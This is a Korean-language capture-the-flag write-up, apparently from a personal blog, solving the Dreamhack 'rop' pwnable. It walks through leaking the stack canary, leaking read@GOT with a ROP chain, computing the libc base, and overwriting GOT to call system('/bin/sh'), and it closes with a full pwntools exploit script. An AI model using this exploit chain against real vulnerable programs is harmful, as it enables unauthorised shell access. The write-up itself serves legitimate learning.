문제 : https://dreamhack.io/wargame/challenges/354/
Environment
$ checksec rop
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Canary를 우회하는 과정이 있어야하고, NX bit가 enable이므로 stack 등에 쓰기 권한이 없다
따라서 got overwrite / ret2libc 등의 기법을 활용해야할 것
Code Analysis
// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Leak canary
puts("[1] Leak Canary");
write(1, "Buf: ", 5);
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Do ROP
puts("[2] Input ROP payload");
write(1, "Buf: ", 5);
read(0, buf, 0x100);
return 0;
}
그 전에 풀었던 문제와는 다르게 system 함수나 bin/sh를 bss segment에 넣어두지도 않기 때문에, 만약 ret2libc 등의 익스 기법을 사용할 때는 직접 주소를 구해야한다
또한, 두번의 입력을 받는데 버퍼의 크기는 0x30이지만, 두번의 입력 모두 0x100의 입력을 받기 때문에 오버플로우가 2번이 발생한다.
Exploit idea
- 카나리 우회
- read에서 GOT overwrite
GOT overwrite
- system 함수의 주소 계산 (libc에 있는 printf를 사용하기 때문에 system이 무조건 존재한다)
- "/bin/sh"의 문자열을 찾는다 (libc.so.6에 포함)
- Read함수를 다시 호출하여 system("/bin/sh"
Stack Frame
0x00000000004006f7 <+0>: push rbp
0x00000000004006f8 <+1>: mov rbp,rsp
0x00000000004006fb <+4>: sub rsp,0x40
0x00000000004006ff <+8>: mov rax,QWORD PTR fs:0x28
0x0000000000400708 <+17>: mov QWORD PTR [rbp-0x8],rax
0x40만큼 stack frame을 사용하며, 0x8 떨어진 곳에 카나리가 위치한다.
Exploit Scenario
Canary Leak
카나리의 첫번째 바이트는 \x00이기 때문에 카나리를 한 바이트만 침범하면 총 0x40바이트가 나오고 맨 마지막 7개가 카나리의 값이 된다.
따라서 0x39만큼을 입력하여 카나리를 구한다.
system 함수 주소 계산
libc 버전 확인하기
gdb에서 run한 후 vmmap으로 버전을 확인할 수 있음
Start End Perm Name
0x00400000 0x00401000 r-xp /mnt/c/files/rop
0x00600000 0x00601000 r--p /mnt/c/files/rop
0x00601000 0x00602000 rw-p /mnt/c/files/rop
0x00007f97da4c7000 0x00007f97da6ae000 r-xp /lib/x86_64-linux-gnu/libc-2.27.so
0x00007f97da6ae000 0x00007f97da8ae000 ---p /lib/x86_64-linux-gnu/libc-2.27.so
0x00007f97da8ae000 0x00007f97da8b2000 r--p /lib/x86_64-linux-gnu/libc-2.27.so
0x00007f97da8b2000 0x00007f97da8b4000 rw-p /lib/x86_64-linux-gnu/libc-2.27.so
0x00007f97da8b4000 0x00007f97da8b8000 rw-p mapped
0x00007f97da8b8000 0x00007f97da8e1000 r-xp /lib/x86_64-linux-gnu/ld-2.27.so
0x00007f97daad7000 0x00007f97daad9000 rw-p mapped
0x00007f97daae1000 0x00007f97daae2000 r--p /lib/x86_64-linux-gnu/ld-2.27.so
0x00007f97daae2000 0x00007f97daae3000 rw-p /lib/x86_64-linux-gnu/ld-2.27.so
0x00007f97daae3000 0x00007f97daae4000 rw-p mapped
0x00007ffccf15a000 0x00007ffccf17b000 rw-p [stack]
0x00007ffccf1e2000 0x00007ffccf1e5000 r--p [vvar]
0x00007ffccf1e5000 0x00007ffccf1e6000 r-xp [vdso]
만약 제대로 된 버전이 뜨지 않는다면 ls -l로 해당 경로를 확인하여 어디에 링크되어있는지 확인해보자
system 함수 주소 계산 (libc)
- read 함수의 got를 읽기
- read 함수와 system 함수의 주소 계산
이를 계산할 때 ELF.symbols() 라는 메소드를 사용한다.
ELF.symbols()란, 시작 주소로부터 함수까지의 오프셋을 알려주는 메소드이다.
즉, ELF.sym['system'], ELF.symbols['systme']을 실행하면, 시작주소로부터 오프셋을 알려준다.
만약, 라이브러리의 시작 주소를 설정하게 주게 된다면, ELF.sys['sys']를 접근하면, 절대 주소를 알려준다. (ex ELF.address = 0xXXX)
[ 함수의 호출 ] : https://m-in-zu.tistory.com/77
헷갈려서 다시 간단하게 정리해본다.
동적으로 연결된 라이브러리의 같은 경우 Dynamic Link 되어있는 경우이다.
처음 호출 시 (runtime reslve 전)
예를 들어 puts를 호출하면, 바로 plt를 호출하게 됨 (테이블의 주소)
특정 함수를 이용해 puts의 libc에서의 위치를 구한다.
GOT에 puts의 함수가 어디 있었는지 기록해두며 다시 함수를 찾지 않아도 되도록 함
rop chain으로 read함수의 got 읽기
- wirte
- pop rdi; ret 가젯
- pop rsi; pop r15; ret 가젯
을 활용하여 read함수의 GOT를 읽을 수 있다
먼저, write, read의 plt got를 구한다.
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
둘째, 가젯의 주소를 구한다.
minzu@minzu:~$ ROPgadget --binary ./rop
Gadgets information
============================================================
0x000000000040066e : adc byte ptr [rax], ah ; jmp rax
0x0000000000400639 : add ah, dh ; nop dword ptr [rax + rax] ; repz ret
0x00000000004005f7 : add al, 0 ; add byte ptr [rax], al ; jmp 0x4005a0
0x00000000004005d7 : add al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x4005a0
0x000000000040063f : add bl, dh ; ret
0x000000000040085d : add byte ptr [rax], al ; add bl, dh ; ret
0x000000000040085b : add byte ptr [rax], al ; add byte ptr [rax], al ; add bl, dh ; ret
0x00000000004005b7 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x4005a0
0x00000000004006ec : add byte ptr [rax], al ; add byte ptr [rax], al ; push rbp ; mov rbp, rsp ; pop rbp ; jmp 0x400680
0x000000000040085c : add byte ptr [rax], al ; add byte ptr [rax], al ; repz ret
0x00000000004006ed : add byte ptr [rax], al ; add byte ptr [rbp + 0x48], dl ; mov ebp, esp ; pop rbp ; jmp 0x400680
0x00000000004005b9 : add byte ptr [rax], al ; jmp 0x4005a0
0x0000000000400676 : add byte ptr [rax], al ; pop rbp ; ret
0x00000000004006ee : add byte ptr [rax], al ; push rbp ; mov rbp, rsp ; pop rbp ; jmp 0x400680
0x000000000040063e : add byte ptr [rax], al ; repz ret
0x0000000000400675 : add byte ptr [rax], r8b ; pop rbp ; ret
0x000000000040063d : add byte ptr [rax], r8b ; repz ret
0x00000000004006ef : add byte ptr [rbp + 0x48], dl ; mov ebp, esp ; pop rbp ; jmp 0x400680
0x00000000004006d7 : add byte ptr [rcx], al ; pop rbp ; ret
0x00000000004005c7 : add dword ptr [rax], eax ; add byte ptr [rax], al ; jmp 0x4005a0
0x00000000004006d8 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; repz ret
0x00000000004007db : add eax, 0xfffdefe8 ; dec ecx ; ret
0x00000000004005e7 : add eax, dword ptr [rax] ; add byte ptr [rax], al ; jmp 0x4005a0
0x0000000000400593 : add esp, 8 ; ret
0x0000000000400592 : add rsp, 8 ; ret
0x0000000000400638 : and byte ptr [rax], al ; hlt ; nop dword ptr [rax + rax] ; repz ret
0x00000000004005b4 : and byte ptr [rax], al ; push 0 ; jmp 0x4005a0
0x00000000004005c4 : and byte ptr [rax], al ; push 1 ; jmp 0x4005a0
0x00000000004005d4 : and byte ptr [rax], al ; push 2 ; jmp 0x4005a0
0x00000000004005e4 : and byte ptr [rax], al ; push 3 ; jmp 0x4005a0
0x00000000004005f4 : and byte ptr [rax], al ; push 4 ; jmp 0x4005a0
0x0000000000400604 : and byte ptr [rax], al ; push 5 ; jmp 0x4005a0
0x0000000000400589 : and byte ptr [rax], al ; test rax, rax ; je 0x400592 ; call rax
0x0000000000400590 : call rax
0x0000000000400602 : cmp cl, byte ptr [rdx] ; and byte ptr [rax], al ; push 5 ; jmp 0x4005a0
0x00000000004007e0 : dec ecx ; ret
0x000000000040083c : fmul qword ptr [rax - 0x7d] ; ret
0x000000000040063a : hlt ; nop dword ptr [rax + rax] ; repz ret
0x00000000004006f3 : in eax, 0x5d ; jmp 0x400680
0x000000000040028b : je 0x400293 ; retf 0x6e29
0x000000000040058e : je 0x400592 ; call rax
0x0000000000400669 : je 0x400678 ; pop rbp ; mov edi, 0x601058 ; jmp rax
0x00000000004006ab : je 0x4006b8 ; pop rbp ; mov edi, 0x601058 ; jmp rax
0x00000000004005bb : jmp 0x4005a0
0x00000000004006f5 : jmp 0x400680
0x0000000000400993 : jmp qword ptr [rbp]
0x0000000000400671 : jmp rax
0x00000000004006d4 : lahf ; or dword ptr [rax], esp ; add byte ptr [rcx], al ; pop rbp ; ret
0x00000000004007e1 : leave ; ret
0x00000000004006d2 : mov byte ptr [rip + 0x20099f], 1 ; pop rbp ; ret
0x00000000004006f2 : mov ebp, esp ; pop rbp ; jmp 0x400680
0x000000000040066c : mov edi, 0x601058 ; jmp rax
0x00000000004006f1 : mov rbp, rsp ; pop rbp ; jmp 0x400680
0x0000000000400673 : nop dword ptr [rax + rax] ; pop rbp ; ret
0x000000000040063b : nop dword ptr [rax + rax] ; repz ret
0x00000000004006b5 : nop dword ptr [rax] ; pop rbp ; ret
0x00000000004006d5 : or dword ptr [rax], esp ; add byte ptr [rcx], al ; pop rbp ; ret
0x00000000004006ac : or ebx, dword ptr [rbp - 0x41] ; pop rax ; adc byte ptr [rax], ah ; jmp rax
0x000000000040084c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040084e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400850 : pop r14 ; pop r15 ; ret
0x0000000000400852 : pop r15 ; ret
0x000000000040066d : pop rax ; adc byte ptr [rax], ah ; jmp rax
0x00000000004006f4 : pop rbp ; jmp 0x400680
0x000000000040066b : pop rbp ; mov edi, 0x601058 ; jmp rax
0x000000000040084b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040084f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400678 : pop rbp ; ret
0x0000000000400853 : pop rdi ; ret
0x0000000000400851 : pop rsi ; pop r15 ; ret
0x000000000040084d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005b6 : push 0 ; jmp 0x4005a0
0x00000000004005c6 : push 1 ; jmp 0x4005a0
0x00000000004005d6 : push 2 ; jmp 0x4005a0
0x00000000004005e6 : push 3 ; jmp 0x4005a0
0x00000000004005f6 : push 4 ; jmp 0x4005a0
0x0000000000400606 : push 5 ; jmp 0x4005a0
0x00000000004006f0 : push rbp ; mov rbp, rsp ; pop rbp ; jmp 0x400680
0x0000000000400640 : repz ret
0x0000000000400596 : ret
0x000000000040028d : retf 0x6e29
0x0000000000400668 : sal byte ptr [rbp + rcx + 0x5d], 0xbf ; pop rax ; adc byte ptr [rax], ah ; jmp rax
0x00000000004006aa : sal byte ptr [rbx + rcx + 0x5d], 0xbf ; pop rax ; adc byte ptr [rax], ah ; jmp rax
0x000000000040058d : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x0000000000400865 : sub esp, 8 ; add rsp, 8 ; ret
0x0000000000400864 : sub rsp, 8 ; add rsp, 8 ; ret
0x000000000040085a : test byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; repz ret
0x000000000040058c : test eax, eax ; je 0x400592 ; call rax
0x000000000040058b : test rax, rax ; je 0x400592 ; call rax
Unique gadgets found: 89
이 중 사용하고자 하는 가젯은
pop rdi와 pop rsi; pop r15;이다.
pop rdi; ret => 0x0000000000400853
pip rsi; pop r15; ret => 0x0000000000400851
write(1, read_got, 0) 를 입력하는 과정에 대해서 자세히 설명하겠다.
현재 그림은 leave; 까지 실행한 상태이다.
ret;는 pop rip; jmp rip와 같은 의미이다
pop rip;를 실행하게 되면
rip -> pop rdi; ret;를 가리키게 되고, rsp가 1을 가리킨다.
이후, jmp rip를 통해 rip를 실행한다.
그렇게 되면 실행 흐름이 pop rdi로 넘어가게 되어 pop rdi가 실행된다.
따라서 rdi -> 1,rsp는 pop rsi; pop r15; ret;를 가리키게 된다.
이후, ret을 실행하게 되면;
rip -> pop rsi; pop r15; ret;이 들어가게 되고 jmp rip를 통해 pop rsi가 실행되면서 rsp는 read_got를 가리킨다.
따라서 rsi에는 read_got, rdi에는 0이 들어가게 된다.
ret;을 실행할 차례가 되었을 때는, 아래의 스택과 같은 모양이 된다.
따라서 write_plt를 호출하고, 이에 따라 write를 부르게 되며, 해당 레지스터에 있는 인자를 가지고 출력하게 된다.
write(1, read_got, ... )을 실행하게 되는 것이다. 즉, stdout에 read_got를 쓰는 것
이를 통해 read함수의 주소값을 구할 수 있다.
* 여기에선 wirte를 사용했지만, puts 같은 것을 사용해도 상관 없다. leak 할 수 있는 모든 함수들은 사용할 수 있다.
system 함수와의 거리 계산
libc의 read함수의 오프셋 (libc.symbols['read'])를 read 함수의 실제 주소에서 빼서 libc의 base 주소를 계산한다.
따라서 libc_base의 주소를 알아낸 후, system 함수의 오프셋을 더하여 system 함수의 주소를 구할 수 있다.
libc_base = libc_read - libc.symbols['read']
libc_system = libc_base + libc.symbols['system']
GOT overwrite
"/bin/sh"를 인자로 주어 GOT 엔트리 뒤에 입력하면 된다.
이 입력을 위해서 read 함수를 사용할 수 있다.
read 함수는 입력 스트림, 입력 버퍼, 입력 길이로 총 세 가지 인자를 필요로 한다.
rdi, rsi, rdx로 세 가지 인자를 정한다.
rdi나 rsi는 아까 사용하던 가젯들로 설정할 수 있다. 하지만 일반적인 바이너리에서 rdx와 관련된 가젯은 찾기가 어렵다.
이 때 libc의 코드 가젯 혹은 libc_csu_init 가젯을 사용할 수 있다.
혹은 rdx의 값을 변환시키기 위해 특정 함수를 사용할 수도 있다.
ex) strncmp 함수는 rax로 비교의 결과를 반환하고 rdx로 두 문자열의 첫번째 문자부터 가장 긴 부분 문자열의 길이를 반환
하지만, 지금은 read 함수의 GOT를 읽은 뒤 rdx값이 크게 설정되는 특징이 있기 때문에, rdx 가젯을 추가하지 않아도 된다.
좀 더 안정적인 익스 코드를 작성하기 위해서는 추가해주어도 좋다.
즉, read(0, read_got, ... )를 입력하는 rop 가젯을 짜면 된다.
아까와 같은 방식으로
pop rdi, 0
pop rsi; pop r15;, read_got, 0
read_plt를 차례로 넣으면 된다.
그러면, stdin으로부터 데이터를 받아 read@GOT를 덮어씌울 수 있다.
따라서 system의 libc 주소를 send하면 된다.
쉘 획득
위와 같은 방법으로 read_got에 "/bin/sh"를 넣어 read의 인자로 준다.
이때 read는 이미 system의 got 이므로 system("/bin/sh")가 된 것이다.
따라서
pop rdi, read_got+0x8
ret
read plt를 차례대로 넣어주면 된다.
이때 ret을 넣어주는 이유는 16바이트의 정렬을 맞추기 위함이다.
Exploit code
from pwn import *
p = remote("host1.dreamhack.games",15886)
e = ELF('./rop')
libc = ELF("./libc.so.6")
# [1] Leak canary
buf = b'A'*0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
# [2] Exploit
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
pop_rdi = 0x0000000000400853
pop_rsi_r15 = 0x0000000000400851
ret = 0x0000000000400854
payload = b'A'*0x38 + p64(cnry) + b'B'*0x8
# write(1, read_got, ...)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)
# read(0, read_got, ...)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)
# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got + 0x8)
payload += p64(ret)
payload += p64(read_plt)
p.sendafter(b'Buf: ', payload)
read = u64(p.recvn(6) + b'\x00'*2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
p.send(p64(system) + b'/bin/sh\x00')
p.interactive()
피드백
1. rop에 조작을 위해 사용하는 가젯에 대해서 자주 생각해보기
2. rdx 같은 특수한 경우를 잘 기억해두기
3. libc.so.6 파일을 제공해주는데... 안 옮겨놨다가 조금 해맸다. 제공해주는 파일은 다 꼼꼼하게 보자
'Hacking > Wargame' 카테고리의 다른 글
[Pwnable] basic_rop_x64 (0) | 2025.01.01 |
---|---|
[Pwnable] Return to Library (2) | 2024.09.16 |
[Pwnable] Return to Shellcode (4) | 2024.08.24 |
[Reversing] patch (0) | 2024.08.09 |
[Cryptography] Textbook-CBC (4) | 2024.08.03 |